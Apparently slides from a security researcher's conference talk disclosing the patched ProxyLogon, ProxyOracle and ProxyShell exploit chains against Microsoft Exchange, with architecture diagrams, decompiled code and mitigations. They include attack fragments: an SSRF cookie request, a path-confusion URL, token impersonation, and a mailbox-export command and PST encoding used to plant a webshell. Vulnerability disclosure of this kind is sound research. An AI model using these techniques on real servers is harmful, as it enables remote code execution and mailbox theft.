ProxyLogon is Just the Tip of the Iceberg

A New Attack Surface on Microsoft Exchange Server!

Orange Tsai
Orange Tsai

• Orange Tsai, focusing on Web and Application 0-day research
  • Principal Security Researcher of DEVCORE
  • Captain of HITCON CTF Team

• Speaker of Security Conferences
  • Black Hat USA & ASIA / DEFCON / HITB / HITCON ...

• Selected Awards and Honors:
  • 2017 - 1st place of Top 10 Web Hacking Techniques
  • 2018 - 1st place of Top 10 Web Hacking Techniques
  • 2019 - Winner of Pwnie Awards "Best Server-Side Bug"
  • 2021 - Champion and "Master of Pwn" of Pwn2Own
Disclaimer

All vulnerabilities disclosed today are reported responsibly and patched by Microsoft
Why Target Exchange Server?

1. Mail servers always keep confidential secrets and Exchange Server is the most well-known mail solution for enterprises and governments worldwide.

2. Has been the target for Nation-sponsored hackers for a long time (Equation Group 😊)

3. More than 400,000 Exchange servers exposed on the Internet according to our survey.
Exchange Security in the Past Years

• Most bugs are based on known attack vectors but there are still several notable bugs:

1. **EnglishmansDentist** from Equation Group:
   • Recap: A only practical and public pre-auth RCE in the Exchange history. Unfortunately, the arsenal only works on an ancient Exchange Server 2003

2. **CVE-2020-0688 Hardcoded MachineKey** from anonymous working with ZDI:
   • Recap: A classic .NET deserialization bug due to a hardcoded cryptography key. This is also a hint shows Microsoft Exchange is lacking of security reviews
It's 2020 and Exchange still has hard-coded key
Our Works

• We focus on the Exchange architecture and discover a new attack surface that no one proposed before. That’s why we can pop 0days easily!
• We discovered 8 vulnerabilities that covered server-side, client-side, and crypto bugs through this new attack surface, and chained into 3 attacks:
  1. ProxyLogon: The most well-known pre-auth RCE chain
  2. ProxyOracle: A plaintext-password recovery attacking chain
  3. ProxyShell: The pre-auth RCE chain we demonstrated at Pwn2Own 2021
<table>
<thead>
<tr>
<th>Report Time</th>
<th>Name</th>
<th>CVE</th>
<th>Patch Time</th>
<th>Reported by</th>
</tr>
</thead>
<tbody>
<tr>
<td>Jan 05, 2021</td>
<td>ProxyLogon</td>
<td>CVE-2021-26855</td>
<td>Mar 02, 2021</td>
<td>Orange Tsai, Volexity and MSTIC</td>
</tr>
<tr>
<td>Jan 05, 2021</td>
<td>ProxyLogon</td>
<td>CVE-2021-27065</td>
<td>Mar 02, 2021</td>
<td>Orange Tsai, Volexity and MSTIC</td>
</tr>
<tr>
<td>Jan 17, 2021</td>
<td>ProxyOracle</td>
<td>CVE-2021-31196</td>
<td>Jul 13, 2021</td>
<td>Orange Tsai</td>
</tr>
<tr>
<td>Jan 17, 2021</td>
<td>ProxyOracle</td>
<td>CVE-2021-31195</td>
<td>May 11, 2021</td>
<td>Orange Tsai</td>
</tr>
<tr>
<td>Apr 02, 2021</td>
<td>ProxyShell (Pwn2Own Bug)</td>
<td>CVE-2021-34473</td>
<td>Apr 13, 2021</td>
<td>Orange Tsai (Working with ZDI)</td>
</tr>
<tr>
<td>Apr 02, 2021</td>
<td>ProxyShell (Pwn2Own Bug)</td>
<td>CVE-2021-34523</td>
<td>Apr 13, 2021</td>
<td>Orange Tsai (Working with ZDI)</td>
</tr>
<tr>
<td>Apr 02, 2021</td>
<td>ProxyShell (Pwn2Own Bug)</td>
<td>CVE-2021-31207</td>
<td>May 11, 2021</td>
<td>Orange Tsai (Working with ZDI)</td>
</tr>
<tr>
<td>Jun 02, 2021</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>Orange Tsai</td>
</tr>
</tbody>
</table>
## Vulnerabilities Related to This Attack Surface

Vulnerability related to this new attack surface

<table>
<thead>
<tr>
<th>Dubbed to</th>
<th>CVE</th>
<th>Patch Time</th>
<th>Reported by</th>
</tr>
</thead>
<tbody>
<tr>
<td>HAFNIUM</td>
<td>CVE-2021-26855</td>
<td>Mar 02, 2021</td>
<td>Orange Tsai, Volexity and MSTIC</td>
</tr>
<tr>
<td>HAFNIUM</td>
<td>CVE-2021-27065</td>
<td>Mar 02, 2021</td>
<td>Orange Tsai, Volexity and MSTIC</td>
</tr>
<tr>
<td>HAFNIUM</td>
<td>CVE-2021-26857</td>
<td>Mar 02, 2021</td>
<td>Dubex and MSTIC</td>
</tr>
<tr>
<td>HAFNIUM</td>
<td>CVE-2021-26858</td>
<td>Mar 02, 2021</td>
<td>MSTIC</td>
</tr>
<tr>
<td>-</td>
<td>CVE-2021-28480</td>
<td>Apr 13, 2021</td>
<td>NSA</td>
</tr>
<tr>
<td>-</td>
<td>CVE-2021-28481</td>
<td>Apr 13, 2021</td>
<td>NSA</td>
</tr>
<tr>
<td>-</td>
<td>CVE-2021-28482</td>
<td>Apr 13, 2021</td>
<td>NSA</td>
</tr>
<tr>
<td>-</td>
<td>CVE-2021-28483</td>
<td>Apr 13, 2021</td>
<td>NSA</td>
</tr>
</tbody>
</table>
Exchange Architecture

2000/2003
- Backend Server
- Frontend Server
- Mailbox Role
- Client Access Role
- Hub Transport Role
- Unified Messaging Role
- Edge Transport Role

2007/2010
- Mailbox Role
- Client Access Role
- Hub Transport Role

2013
- Mailbox Role
- Client Access Role
- Edge Transport Role

2016/2019
- Mailbox Service
- Client Access Service
- Edge Transport Role
Where to Focus?

• We focus on the Client Access Service (CAS)
• CAS is a fundamental protocol handler in Microsoft Exchange Server.

The Microsoft official documentation also indicates:

"Mailbox servers contain the Client Access Services that accept client connections for all protocols. These frontend services are responsible for routing or proxying connections to the corresponding backend services"
where we focus on
Client Access Service in IIS

Two websites?
Client Access Service in IIS
Exchange Architecture

• Applications in Frontend include the ProxyModule
  • Parse incoming HTTP requests, apply protocol specified settings, and forward to the Backend
• Applications in Backend include the BackendRehydrationModule
  • Receive and populate HTTP requests from the Frontend
• Applications synchronizes the internal information between the Frontend and Backend by HTTP headers
FrontEnd Service

HTTP/HTTPS

BackEnd Service

IIS

HTTP/HTTPS

IIS Modules

Validation Module
Filter Module
OAuth Module
Logging Module
FBA Module
...

Rehydration Module
RoutingUpdate Module
RBAC Module
Remote PowerShell
RPC Proxy
EWS, OWA ECP, OAB...

Mailbox Database
Our Ideas

Could we access the Backend intentionally?
ProxyRequestHandler.cs

1. Request Section
   - CopyHeadersToServerRequest
   - CopyCookiesToServerRequest
   - AddProtocolSpecificHeadersToServerRequest

2. Proxy Section
   - GetTargetBackEndServerUrl
   - CreateServerRequest
   - GetServerResponse

3. Response Section
   - CopyHeadersToClientResponse
   - CopyCookiesToClientResponse
Copy Client Headers

1. Request Section
   - CopyHeadersToServerRequest
     - CopyCookiesToServerRequest
     - AddProtocolSpecificHeadersToServerRequest

2. Proxy Section
   - GetTargetBackEndServerUrl
   - CreateServerRequest
   - GetServerResponse

3. Response Section
   - CopyHeadersToClientResponse
   - CopyCookiesToClientResponse
protected virtual bool ShouldCopyHeaderToServerRequest(string headerName) {
    return !string.Equals(headerName, "X-CommonAccessToken", OrdinalIgnoreCase)
        && !string.Equals(headerName, "X-IsFromCafe", OrdinalIgnoreCase)
        && !string.Equals(headerName, "X-SourceCafeServer", OrdinalIgnoreCase)
        && !string.Equals(headerName, "msExchProxyUri", OrdinalIgnoreCase)
        && !string.Equals(headerName, "X-MSExchangeActivityCtx", OrdinalIgnoreCase)
        && !string.Equals(headerName, "return-client-request-id", OrdinalIgnoreCase)
        && !string.Equals(headerName, "X-Forwarded-For", OrdinalIgnoreCase)
        && (!headerName.StartsWith("X-Backend-Diag-", OrdinalIgnoreCase)
            || this.ClientRequest.GetHttpRequestBase().IsProbeRequest());
}
Copy Client Cookies

1. Request Section
   - CopyHeadersToServerRequest
   - CopyCookiesToServerRequest
   - AddProtocolSpecificHeadersToServerRequest

2. Proxy Section
   - GetTargetBackEndServerUrl
   - CreateServerRequest
   - GetServerResponse

3. Response Section
   - CopyHeadersToClientResponse
   - CopyCookiesToClientResponse

Logging:
- BeginRequest
- AuthenticateRequest
- AuthorizeRequest
- MapRequestHandler
- IHttpHandler
- LogRequest
- EndRequest
Add Special Headers

1. Request Section
   - CopyHeadersToServerRequest
   - CopyCookiesToServerRequest
   - AddProtocolSpecificHeadersToServerRequest

2. Proxy Section
   - GetTargetBackEndServerUrl
   - CreateServerRequest
   - GetServerResponse

3. Response Section
   - CopyHeadersToClientResponse
   - CopyCookiesToClientResponse
if (this.ClientRequest.IsAuthenticated) {
        this.HttpContext, this.AnchoredRoutingTarget.BackEndServer.Version);

    if (commonAccessToken != null) {
        headers["X-CommonAccessToken"] = commonAccessToken.Serialize(
            new int?(HttpProxySettings.CompressTokenMinimumSize.Value));
    }
} else if (this.ShouldBackendRequestBeAnonymous()) {
    headers["X-CommonAccessToken"] = new CommonAccessToken(9).Serialize();
}
Calculate Backend URL

1. Request Section
   - CopyHeadersToServerRequest
   - CopyCookiesToServerRequest
   - AddProtocolSpecificHeadersToServerRequest

2. Proxy Section
   - GetTargetBackEndServerUrl
   - CreateServerRequest
   - GetServerResponse

3. Response Section
   - CopyHeadersToClientResponse
   - CopyCookiesToClientResponse
Create New HTTP Client

1. Request Section
   - CopyHeadersToServerRequest
   - CopyCookiesToServerRequest
   - AddProtocolSpecificHeadersToServerRequest

2. Proxy Section
   - GetTargetBackEndServerUrl
   - CreateServerRequest
   - GetServerResponse

3. Response Section
   - CopyHeadersToClientResponse
   - CopyCookiesToClientResponse
if (this.ProxyKerberosAuthentication) {
    // use origin Kerberos Authentication
    // unauthenticated
} else {
    serverRequest.Headers["Authorization"] = KerberosUtilities.GenerateKerberosAuthHeader(
        serverRequest.Address.Host, this.TraceContext,
        ref this.authenticationContext, ref this.kerberosChallenge);
}
internal static string GenerateKerberosAuthHeader(string host, int traceContext, ref AuthenticationContext authenticationContext, ref string kerberosChallenge) {
    // ...
    authenticationContext = new AuthenticationContext();
    authenticationContext.InitializeForOutboundNegotiate(AuthenticationMechanism.Kerberos,
        "HTTP/" + host, null, null);

    SecurityStatus securityStatus = authenticationContext.NegotiateSecurityContext(inputBuffer,
        out bytes);

    return "Negotiate " + Encoding.ASCII.GetString(bytes);
}
The Actual Request Sent to Backend

```
1 GET /owa/ HTTP/1.1
2 Host: owa.example.com
3 Accept: */*
4 Content-Type: application/x-www-form-urlencoded

5 Authorization: Negotiate
   YIIGbAYJKoZIhvCSAQICAQBuggZbMIIGV6ADAgEoQgMCAQ6iBwMFACAAAAACjggSSYYIEjJCCBIqgAwIBBaEOGwxP

11 X-CommonAccess Token: 
   VgEAVAdXaW5kb3dzQwBBBUJhc2ljTBRPUkFOR0VcQWRtaW5pc3RyYXRvclUsUy0xLTUtMjEtNTQ3MjI2NjU2Q2Nj
```
Get Backend Response

1. Request Section
   - CopyHeadersToServerRequest
   - CopyCookiesToServerRequest
   - AddProtocolSpecificHeadersToServerRequest

2. Proxy Section
   - GetTargetBackEndServerUrl
   - CreateServerRequest
   - GetServerResponse

3. Response Section
   - CopyHeadersToClientResponse
   - CopyCookiesToClientResponse
Copy Response to Client

1. Request Section
   - CopyHeadersToServerRequest
   - CopyCookiesToServerRequest
   - AddProtocolSpecificHeadersToServerRequest

2. Proxy Section
   - GetTargetBackEndServerUrl
   - CreateServerRequest
   - GetServerResponse

3. Response Section
   - CopyHeadersToClientResponse
   - CopyCookiesToClientResponse
private void OnAuthenticateRequest(object source, EventArgs args) {
    if (httpContext.Request.IsAuthenticated) {
        this.ProcessRequest(httpContext);
    }
}

private void ProcessRequest(HttpContext httpContext) {
    CommonAccessToken token;
    if (this.TryGetCommonAccessToken(httpContext, out token)) {
        // ...
    }
}
private bool TryGetCommonAccessToken(HttpContext httpContext, out CommonAccessToken token) {
    string text = httpContext.Request.Headers["X-CommonAccessToken"];  
    flag = this.IsTokenSerializationAllowed(httpContext.User.Identity as WindowsIdentity);
    if (!flag)
        throw new BackendRehydrationException(...)

    token = CommonAccessToken.Deserialize(text);
    httpContext.Items["Item-CommonAccessToken"] = token;
Is Token Serialization Allowed?

```csharp
private bool TryGetCommonAccessToken(HttpContext httpContext, out CommonAccessToken token) {
    string text = httpContext.Request.Headers["X-CommonAccessToken"];  
    flag = this.IsTokenSerializationAllowed(httpContext.User.Identity as WindowsIdentity);

    if (!flag)
        throw new BackendRehydrationException(...)

    token = CommonAccessToken.Deserialize(text);
    httpContext.Items["Item-CommonAccessToken"] = token;
```
private bool IsTokenSerializationAllowed(WindowsIdentity windowsIdentity) {
    flag2 = LocalServer.AllowsTokenSerializationBy(clientSecurityContext);
    return flag2;
}

private static bool AllowsTokenSerializationBy(ClientSecurityContext clientContext) {
    return LocalServer.HasExtendedRightOnServer(clientContext,
        WellKnownGuid.Token.SerializationRightGuid); // ms-Exch-EPI-Token-Serialization
Auth-Flow in Summary

1. Frontend IIS authenticates the request (Windows or Basic authentication) and serializes the current Identity to `X-CommonAccessToken` HTTP header.
2. Frontend generates a Kerberos ticket by its HTTP SPN to `Authorization` HTTP header.
3. Frontend proxies the HTTP request to Backend.
4. Backend IIS authenticates the request and check the authenticated user has `TokenSerialization` right.
5. Backend rehydrates the user from `X-CommonAccessToken` HTTP header.
Let’s Hack the Planet
ProxyLogon

• The most well-known Exchange Server vulnerability in the world 😞
  • An unauthenticated attacker can execute arbitrary codes on Microsoft Exchange Server through an only exposed 443 port!

• ProxyLogon is chained with 2 bugs:
  • CVE-2021-26855 - Pre-auth SSRF leads to Authentication Bypass
  • CVE-2021-27065 - Post-auth Arbitrary-File-Write leads to RCE
Where ProxyLogon Begin?

1. Request Section
   - CopyHeadersToServerRequest
   - CopyCookiesToServerRequest
   - AddProtocolSpecificHeadersToServerRequest

2. Proxy Section
   - GetTargetBackEndServerUrl
     - CreateServerRequest
     - GetServerResponse

3. Response Section
   - CopyHeadersToClientResponse
   - CopyCookiesToClientResponse

- IHttpRequest
- AuthenticateRequest
- AuthorizeRequest
- MapRequestHandler
- LogRequest
- EndRequest
protected override AnchorMailbox ResolveAnchorMailbox() {
    HttpCookie httpCookie = base.ClientRequest.Cookies["X-AnonResource-Backend"];  
    if (httpCookie != null) {
        this.savedBackendServer = httpCookie.Value;
    }

    return new ServerInfoAnchorMailbox(BackEndServer.FromString(this.savedBackendServer), this);
}
GET /owa/auth/x.js HTTP/1.1
Host: exU1.orange.local
Cookie: X-AnonResource=true; X-AnonResource-Backend=foo@example.com/##1941997017

<!doctype html>
<html>
<head>
<title>Example Domain</title>
<meta charset="utf-8" />
</head>
</html>
Super SSRF

• What’s the root cause about this arbitrary backend assignment?
  • The Exchange has to adapt the compatibility between new and old architectures, hence Exchange introduces the cookie

• A Super SSRF
  • Control almost all the HTTP request and get all the response
  • Attach with a Kerberos Ticket with Exchange$ account privilege automatically
  • Leverage the backend internal API `/ecp/proxylogon.ecp` to obtain a valid Control Panel session and a file-write bug to get RCE
Demo

https://youtu.be/SvjGMo9aMwE
ProxyOracle

• An interesting Exchange Server exploit with different approach
  • An unauthenticated attacker can recover the victim’s username and password in plaintext format simply by pushing the user open the malicious link

• ProxyOracle is chained with 2 bugs:
  • CVE-2021-31195 - Reflected Cross-Site Scripting
  • CVE-2021-31196 - Padding Oracle Attack on Exchange Cookies Parsing
How Users Log-in OWA/ECP?
Form-Based Authentication

IIS Modules

- Validation
- Filter
- OAuth

HTTP Proxy Module

IIS

HTTP/HTTPS

IIS Modules

- Rehydration
- Routing Update
- RBAC
- Remote PowerShell
- RPC Proxy
- EWS/OWA ECP/OAB...

Mailbox Database
### How FBA Cookies Looks Like

![Image of a webpage showing a cookie in the response section](image)

<table>
<thead>
<tr>
<th>Cookie Name</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>cadata</td>
<td>wj1JMrpq5dfrYrzs+VCzMGJs47rY8dqznZNMr+jFxUXq10cBggw5Whg620oq3LHFHaSeZn9KET1ssopybe8P/Ip7U1Mut5Zygz51mab1900/zoMPTjgY1vjKnV5h6W3omm1e1Qhfz/Yz bkAc9ocMY35K32y7w17g1900; cadataTTL=v1mAn915318wNqk55FBw=;</td>
</tr>
</tbody>
</table>
@key = GetServerSSLCert().GetPrivateKey()
cedataSig = RSA(@key).Encrypt("Fba Rocks!")
cedataIV = RSA(@key).Encrypt(GetRandomBytes(16))
cedataKey = RSA(@key).Encrypt(GetRandomBytes(16))

@timestamp = GetCurrentTimestamp()
cedataTTL = AES_CBC(cedataKey, cedataIV).Encrypt(@timestamp)

@blob = "Basic " + ToBase64String(UserName + ":" + Password)
cedata = AES_CBC(cedataKey, cedataIV).Encrypt(@blob)
Padding Oracle

Still WORKS
private void ParseCadataCookies(HttpApplication httpApplication) {
    using (ICryptoTransform transform = aesCryptoServiceProvider.CreateDecryptor()) {
        try {
            byte[] array5 = Convert.FromBase64String(request.Cookies["cadata"].Value);
            bytes2 = transform.TransformFinalBlock(array5, 0, array5.Length);
        } catch (CryptographicException arg8) {
            return;
        }
    }
}
protected enum LogonReason {
    None, Logoff, InvalidCredentials, Timeout, ChangePasswordLogoff
}
We can decrypt the cookies now

But... How to get the client cookies?
We discover a new XSS to chain together

However, all sensitive cookies are protected by HttpOnly 😥
Take Over Client Requests

1. Send malicious mail to victim
2. Open malicious mail
   Redirect to XSS page
3. Trigger the XSS
   Set SSRF cookie
4. Visit page /foo.gif
   Proxy page /foo.gif
   Send response
   Send response
Demo

https://youtu.be/VuJvmJZxogc
ProxyShell

• The exploit chain we demonstrated at Pwn2Own 2021
  • An unauthenticated attacker can execute arbitrary commands on Microsoft Exchange Server through an only exposed 443 port!

• ProxyShell is chained with 3 bugs:
  • CVE-2021-34473  - Pre-auth Path Confusion leads to ACL Bypass
  • CVE-2021-34523  - Elevation of Privilege on Exchange PowerShell Backend
  • CVE-2021-31207  - Post-auth Arbitrary-File-Write leads to RCE
Where ProxyShell Begin?

1. Request Section
   - CopyHeadersToServerRequest
   - CopyCookiesToServerRequest
   - AddProtocolSpecificHeadersToServerRequest

2. Proxy Section
   - GetTargetBackEndServerUrl
   - CreateServerRequest
   - GetServerResponse

3. Response Section
   - CopyHeadersToClientResponse
   - CopyCookiesToClientResponse
ProxyShell

• ProxyShell started with a Path Confusion bug on Exchange Server Explicit Logon feature
  • The feature is designed to enable users to open another mailbox/calendar and display it in a new browser window
  • The Exchange parsed the mailbox address and normalized the URL internally

https://exchange/OWA/user@orange.local/Default.aspx
protected override AnchorMailbox ResolveAnchorMailbox() {
    if (RequestPathParser.IsAutodiscoverV2PreviewRequest(base.ClientRequest.Url.AbsolutePath))
        text = base.ClientRequest.Params["Email"];  
    // …
    this.isExplicitLogonRequest = true;
    this.explicitLogonAddress = text;
}

public static bool IsAutodiscoverV2PreviewRequest(string path) {
    return path.EndsWith("/autodiscover.json", StringComparison.OrdinalIgnoreCase);
}
protected override UriBuilder GetClientUrlForProxy() {
    string absoluteUri = base.ClientRequest.Url.AbsoluteUri;
    string uri = UrlHelper.RemoveExplicitLogonFromUrlAbsoluteUri(absoluteUri, this.explicitLogonAddress);
    return new UriBuilder(uri);
}

public static string RemoveExplicitLogonFromUrlAbsoluteUri(string absoluteUri, string explicitLogonAddress) {
    string text = "/" + explicitLogonAddress;
    if (absoluteUri.IndexOf(text) == -1)
        return absoluteUri.Substring(0, num) + absoluteUri.Substring(num + text.Length);
}
The actual part to be removed

https://exchange/autodiscover/autodiscover.json?@foo.com/?&
Email=autodiscover/autodiscover.json%3f@foo.com

Explicit Logon pattern
The actual part to be removed

https://exchange

Email=autodiscover/autodiscover.json?f@foo.com

Explicit Logon pattern
Arbitrary Backend Access Again!

Exchange MAPI/HTTP Connectivity Endpoint

Version: 15.2.792.3
Vdir Path: /mapi/nspi/

User: NT AUTHORITY\SYSTEM
UPN: 
SID: S-1-5-18
Organization: 
Authentication: Negotiate
Exchange PowerShell Remoting

• The Exchange PowerShell Remoting is a command-line interface that enables the automation of Exchange tasks
  • The Exchange PowerShell Remoting is built upon PowerShell API and uses the Runspace for isolations. All operations are based on WinRM protocol
  • Interact with the PowerShell Backend fails because there is no mailbox for the SYSTEM user
• We found a piece of code extract Access-Token from URL
private void OnAuthenticateRequest(object source, EventArgs args) {
    HttpContext httpContext = HttpContext.Current;
    if (httpContext.Request.IsAuthenticated) {
        if (string.IsNullOrEmpty(httpContext.Request.Headers["X-CommonAccessToken"])) {
            Uri url = httpContext.Request.Url;
            Exception ex = null;
            User.Identity.ToString(), url, out ex);
        }
    }
}
private CommonAccessToken CommonAccessTokenFromUrl(string user, Uri requestURI, out Exception ex) {

    CommonAccessToken result = null;
    string text = LiveIdBasicAuthModule.GetNameValueCollectionFromUri(requestURI).Get("X-Rps-CAT");

    result = CommonAccessToken.Deserialize(Uri.UnescapeDataString(text));
    return result;
}
Privilege Downgrade

• An Elevation of Privilege (EOP) because we can access Exchange PowerShell Backend directly
  • The intention of this operation is to be a quick proxy for Internal Exchange PowerShell communications
• Specify the Access-Token in X-Rps-CAT to Impersonate to any user
  • We use this Privilege Escalation to ”downgrade” ourself from SYSTEM to Exchange Admin
Execute Arbitrary Exchange PowerShell as Admin

And then?
Attack Exchange PowerShell

• The last piece of the puzzle is to find a post-auth RCE to chain together
  • Since we are Exchange admin now, It’s easy to abuse the Exchange PowerShell command `New-MailboxExportRequest` to export user’s mailbox into an UNC path

```
New-MailboxExportRequest -Mailbox orange@orange.local -FilePath \127.0.0.1\C$\path\to\shell.aspx
```
Payload Delivery

• How to embed the malicious payload into the exported file?
  • We deliver the malicious payloads by Emails (SMTP) but the file is encoded 😞
  • The exported file is in Outlook Personal Folders (PST) format, by reading the MS-PST documentation, we learned it's just a simple permutation encoding

```csharp
\RemotePowershellBackendCmdletProxyModule.cs

mpbbCrypt = [65, 54, 19, 98, 168, 33, 110, 187, 244, 22, 204, 4, 127, 100, 232, ...]
encode_table = bytes.maketrans((bytearray(mpbbCrypt), bytearray(range(256))))
'%@ Page Language="Jscript"%>...'.translate(encode_table)
```
Put it All Together

1. Deliver our encoded WebShell payload by SMTP
2. Launch the native PowerShell and intercept the WinRM protocol
   - Rewrite the `/PowerShell/` to `/Autodiscover/` to trigger the Path Confusion bug
   - Add query string `X-Rps-CAT` with corresponding Exchange Admin Access Token
3. Execute commands inside the established PowerShell session
   - `New-ManagementRoleAssignment` to grant ourself `Mailbox Import Export` Role
   - `New-MailboxExportRequest` to write ASPX file into the local UNC path
4. Enjoy the shell
Demo

https://youtu.be/FC6iHw258RI
Mitigations

1. Keep Exchange Server up-to-date and not externally facing the Internet (especially web part)

2. Microsoft has enhanced the CAS Frontend in April 2021
   • The enhancement mitigated the authentication part of this attack surface and reduced the “pre-auth” effectively

3. Move to Office 365 Exchange Online 😏 (Just kidding)
Conclusion

• Modern problems require modern solutions
  • Try to comprehend the architectures from a higher point of view

• The Exchange CAS is still a good attack surface
  • Due to the lack of “pre-auth” bugs, the result may not be as powerful as before

• Exchange is still a buried treasure and waiting for you to hunt bugs
  • Fun fact - even you found a super critical bug like ProxyLogon, Microsoft will not reward you any bounty because Exchange Server On-Prem is out of scope
Thanks!

orange_8361
orange@chroot.org
https://blog.orange.tw